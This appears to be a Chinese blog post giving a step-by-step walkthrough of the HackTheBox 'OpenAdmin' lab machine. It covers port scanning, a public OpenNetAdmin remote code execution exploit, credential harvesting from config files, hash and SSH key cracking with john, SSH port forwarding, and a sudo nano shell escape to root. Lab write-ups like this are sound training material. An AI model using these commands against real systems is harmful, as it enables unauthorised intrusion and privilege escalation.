HTB OpenAdmin 渗透测试详细记录

你是慕鸢呀~ 发布于 8 小时前 8 次阅读 591 字 预计阅读时间: 3 分钟


AI 摘要

# HTB OpenAdmin 渗透测试记录:从漏洞利用到权限提升 在HTB OpenAdmin靶机的渗透测试中,通过系统性的侦察发现了OpenNetAdmin 18.1.1版本存在的远程代码执行漏洞。利用公开的exp成功获取了www-data权限,随后在数据库配置文件中发现了用户jimmy和joanna的SSH私钥。 经过密钥格式转换和密码破解,最终通过joanna的私钥获得用户权限,并利用系统权限配置漏洞实现权限提升,完整控制了目标系统。整个渗透过程展现了从信息收集到权限提升的完整攻击链。

HTB OpenAdmin 渗透测试详细记录

靶机介绍

名字 OpenAdmin
创建日期 04 Jan 2020
操作系统 Linux
难度 Easy

image-20251014143538318

1. 初始侦察阶段

使用nmap进行tcp端口扫描获取信息

nmap -sT -sC -sV --min-rate 5000 -p- 10.129.111.105

image-20251014144035686

目标仅开放了80,22端口,访问80端口,是apche的默认页

image-20251014144217402

2. 服务探测与信息收集

对80端口进行目录遍历,发现了artwork和music目录

gobuster dir -u http://10.129.111.105 -w /usr/share/wordlists/dirb/common.txt 

image-20251014144415536

访问 http://10.129.111.105/music/index.html

image-20251014144525839

使用burpsuite对这个页面进行爬虫,获取更多信息

image-20251014144703641

获取到一个新的目录 http://10.129.111.105/ona/ ,访问发现是opennetadmin的后台页面,并且确认版本号是 18.1.1,检索这个版本的漏洞。

image-20251014144822088

3. 漏洞识别与初始访问

通过检索,决定使用这个exp https://github.com/amriunix/ona-rce?tab=readme-ov-file

python ona-rce.py exploit  http://10.129.111.105/ona/

成功获取到www-data的权限

image-20251014145232961

在目标服务器寻找敏感配置文件

cat /opt/ona/www/config/config.inc.php

// Include the localized Database settings
$dbconffile = "{$base}/local/config/database_settings.inc.php";
if (file_exists($dbconffile)) {
    if (substr(exec("php -l $dbconffile"), 0, 28) == "No syntax errors detected in") {
        @include($dbconffile);
    } else {
        // ... error handling ...
    }
} else {
    require_once($base.'/../install/install.php');
    exit;
}

这段代码的逻辑非常清晰:

  • 它定义了一个变量 $dbconffile,其值就是数据库配置文件的完整路径:{$base}/local/config/database_settings.inc.php
  • 然后它检查这个文件是否存在 (file_exists)。
  • 如果存在,就把它包含进来 (@include($dbconffile))。
  • 如果不存在,它就会跳转到安装页面。

这证明了据库连接信息就存放在那个文件里。config.inc.php 只是一个框架文件,它负责加载敏感信息的配置文件。

读取 database_settings.inc.php文件

sh$ cat /opt/ona/www/local/config/database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

?

成功获取到数据库配置信息,用户名密码等等,后续可以尝试密码复用

读取 /etc/passwd 获取系统用户名

image-20251014150131334

从1000开始,为主要用户名,确认为 jimmy/joanna这两个。

4. 横向移动&权限提升前的信息收集

复用数据库密码尝试ssh登录jimmy/joanna。

ssh jimmy@10.129.111.105

成功登录jimmy

image-20251014150758231

继续信息收集,在 /var/www目录发现该用户的web目录

jimmy@openadmin:/var/www$ ls -al
total 16
drwxr-xr-x  4 root     root     4096 Nov 22  2019 .
drwxr-xr-x 14 root     root     4096 Nov 21  2019 ..
drwxr-xr-x  6 www-data www-data 4096 Nov 22  2019 html
drwxrwx---  2 jimmy    internal 4096 Nov 23  2019 internal
lrwxrwxrwx  1 www-data www-data   12 Nov 21  2019 ona -> /opt/ona/www

读取该目录的 index.php 文件,发现硬编码的用户名和密码的hash值。

              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';

读取apche配置文件,确定该服务监听地址为 127.0.0.1:52846

 cat /etc/apache2/sites-enabled/internal.conf
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

使用john破解该hash,确认密码为 Revealed

john hash --format=Raw-SHA512 --wordlist=/usr/share/wordlists/rockyou.txt --rules=Jumbo

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Revealed         (?)     
1g 0:00:00:01 DONE (2025-10-14 01:05) 0.5988g/s 9256Kp/s 9256Kc/s 9256KC/s Rey428..Reesenme
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

把52846端口映射到本地

ssh -L 8081:127.0.0.1:52846 jimmy@10.129.111.105

访问本地的8081端口

image-20251014151844477

使用 jimmy/Revealed登录,获取到一个加密的 ssh key

image-20251014152028031

使用 ssh2john把这个 key写入hash

/usr/share/john/ssh2john.py rsa >hash

使用john破解这个hash,成功获取到 rsa密钥 bloodninjas

john hash --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (rsa)     
1g 0:00:00:02 DONE (2025-10-14 01:27) 0.3546g/s 3395Kp/s 3395Kc/s 3395KC/s bloodofyouth..bloodmore23
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

使用密钥ssh登录joanna

ssh -i rsa joanna@10.129.111.105

5. 权限提升

检查joanna的sudo权限

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH
    XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

可以使用root权限执行 /bin/nano

sudo -u root /bin/nano /opt/priv

使用快捷键 Ctrl + R 将外部文件插入到当前文件中

再使用 ^X 来执行系统命令。按 Ctrl + X 并输入以下命令来生成一个 shell

reset; sh 1>&0 2>&0

成功获取root权限

# id
uid=0(root) gid=0(root) groups=0(root)

6. 攻击链路图

初始侦察 (nmap TCP端口扫描)
    ↓
Web服务枚举 (发现OpenNetAdmin v18.1.1)
    ↓
漏洞利用 (OpenNetAdmin RCE 获取www-data权限)
    ↓  
建立立足点(读取配置文件发现数据库凭据)
    ↓
横向移动-1 (密码复用SSH登录jimmy)
    ↓
内部信息收集 (发现本地Web服务及密码Hash)
    ↓
端口转发 (SSH -L 访问内部服务)
    ↓
凭据破解(破解Hash和SSH私钥密码)
    ↓
横向移动-2 (使用私钥登录joanna)
    ↓
漏洞识别(Sudo配置错误,可使用nano提权)
    ↓
提权(利用nano执行命令获取root权限)

阅读原文

我本桀骜少年臣,不信鬼神不信人。
最后更新于 2025-10-14